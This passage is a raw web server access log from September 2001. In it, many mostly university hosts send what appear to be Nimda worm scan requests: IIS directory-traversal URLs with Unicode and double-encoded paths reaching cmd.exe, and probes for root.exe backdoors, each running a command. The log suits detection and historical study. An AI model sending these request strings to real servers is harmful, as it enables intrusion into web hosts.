/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:35:47: [203.197.237.163] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:36:06: [203.197.237.163] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:36:25: [203.197.237.163] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:36:45: [203.197.237.163] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:37:05: [128.172.99.136] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:37:23: [203.197.237.163] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:37:42: [128.172.99.136] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:38:00: [203.197.237.163] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:38:18: [128.172.99.136] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:38:36: [203.197.237.163] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:38:54: [128.172.99.136] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:39:13: [203.197.237.163] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:39:31: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:39:31: [128.172.99.136] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:39:49: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:39:49: [128.172.99.136] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:40:07: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:40:07: [128.172.99.136] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:40:25: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:40:25: [128.172.99.136] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:40:44: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:40:44: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:40:44: [128.172.99.136] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:02: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:02: car.eng.ohio-state.edu [128.146.169.11] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:41:02: [128.172.99.136] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:20: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:20: car.eng.ohio-state.edu [128.146.169.11] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:20: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:41:20: [128.172.99.136] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:38: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:39: car.eng.ohio-state.edu [128.146.169.11] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:39: msdweb1.ucns.uga.edu [128.192.6.9] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:41:39: [128.172.99.136] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:57: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:57: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:57: msdweb1.ucns.uga.edu [128.192.6.9] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:41:58: [128.172.99.136] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:16: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:16: car.eng.ohio-state.edu [128.146.169.11] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:16: msdweb1.ucns.uga.edu [128.192.6.9] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:16: [128.172.99.136] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:34: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:34: car.eng.ohio-state.edu [128.146.169.11] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:34: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:34: [128.172.99.136] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:53: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:53: car.eng.ohio-state.edu [128.146.169.11] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:53: msdweb1.ucns.uga.edu [128.192.6.9] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:42:53: [128.172.99.136] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:43:13: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:44:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:45:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:48:05: [128.134.176.53] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:51:11: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:52:53: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:52:53: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:57: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:52:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:54:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:19: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 11:58:38: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 11:59:58: fms97.facil.columbia.edu 